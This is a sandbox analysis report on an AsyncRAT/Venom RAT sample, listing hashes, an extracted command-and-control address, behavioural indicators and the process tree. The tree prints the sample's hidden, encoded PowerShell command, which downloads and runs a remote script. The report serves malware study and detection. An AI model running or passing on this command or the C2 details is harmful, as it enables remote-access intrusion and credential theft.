asyncrat | 6d1374bb816d1e54b4cffae41830837e0c83985156a4b33f5dbce644bdb61de9

Resubmissions

23-09-2023 06:54

230923-hpl7dsdf3x 10

22-09-2023 05:10

230922-ftprzafc57 10

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
22-09-2023 05:10

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General

Target

ekeng-mta.exe
Size

3.5MB
MD5

cbbad2e2170ee73c2bfdacdade718d29
SHA1

dcab4fafa0387c0b4f5b700763cea78afb092024
SHA256

3a679cb98f88d7d6bd84dcfe9717238c08c05942055bdb798103224e7f2f2ca9
SHA512

a4133f07ad8de23c82e164ee2bee32704efaf119cd4f1142145fca8688094b485317722db030e70fadeb8237a20dbded71f9340cafad8cdd982a1011da6fccca
SSDEEP

98304:R/YJIkkCBJroBdDv6Lj9uGQdT7Nx2Yn686n:R/0

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

193.161.193.99:31507

Mutex

ajmlxbvgoegjpkevdnz

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3460-20-0x00000233A6C80000-0x00000233A6C98000-memory.dmp	asyncrat

Blocklisted process makes network request 28 IoCs

flow	pid	Process
10	3460	powershell.exe
35	3460	powershell.exe
36	3460	powershell.exe
37	3460	powershell.exe
49	3460	powershell.exe
52	3460	powershell.exe
53	3460	powershell.exe
54	3460	powershell.exe
55	3460	powershell.exe
56	3460	powershell.exe
58	3460	powershell.exe
60	3460	powershell.exe
61	3460	powershell.exe
62	3460	powershell.exe
63	3460	powershell.exe
67	3460	powershell.exe
69	3460	powershell.exe
71	3460	powershell.exe
72	3460	powershell.exe
73	3460	powershell.exe
74	3460	powershell.exe
75	3460	powershell.exe
76	3460	powershell.exe
77	3460	powershell.exe
78	3460	powershell.exe
81	3460	powershell.exe
86	3460	powershell.exe
87	3460	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	3460	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3460	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 1860	1596	ekeng-mta.exe	84
PID 1596 wrote to memory of 1860	1596	ekeng-mta.exe	84
PID 1860 wrote to memory of 3460	1860	cmd.exe	86
PID 1860 wrote to memory of 3460	1860	cmd.exe	86

C:\Users\Admin\AppData\Local\Temp\ekeng-mta.exe
"C:\Users\Admin\AppData\Local\Temp\ekeng-mta.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -ep bypass -w hidden -e aQB3AHIAIABoAHQAdABwADoALwAvADEAMwA5AC4AOAA0AC4AMgAzADEALgAxADkAOQA6ADgAMAA4ADAALwBnAGUAdAAvAGoANgBGADIAZgBRAG4AUgBPADQALwBtAHQAYQAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAHwAIABpAGUAeAA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -w hidden -e aQB3AHIAIABoAHQAdABwADoALwAvADEAMwA5AC4AOAA0AC4AMgAzADEALgAxADkAOQA6ADgAMAA4ADAALwBnAGUAdAAvAGoANgBGADIAZgBRAG4AUgBPADQALwBtAHQAYQAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAHwAIABpAGUAeAA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3460

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gtmbjjam.s5d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1596-17-0x0000000000400000-0x000000000058F000-memory.dmp

Filesize
1.6MB

Download
memory/3460-16-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-9-0x00000233A6770000-0x00000233A6792000-memory.dmp

Filesize
136KB

Download
memory/3460-11-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-13-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-14-0x00007FF9901A0000-0x00007FF990C61000-memory.dmp

Filesize
10.8MB

Download
memory/3460-15-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-10-0x00007FF9901A0000-0x00007FF990C61000-memory.dmp

Filesize
10.8MB

Download
memory/3460-12-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-18-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-19-0x00000233A6B70000-0x00000233A6BC0000-memory.dmp

Filesize
320KB

Download
memory/3460-20-0x00000233A6C80000-0x00000233A6C98000-memory.dmp

Filesize
96KB

Download
memory/3460-21-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-22-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-25-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download
memory/3460-26-0x000002338D7C0000-0x000002338D7D0000-memory.dmp

Filesize
64KB

Download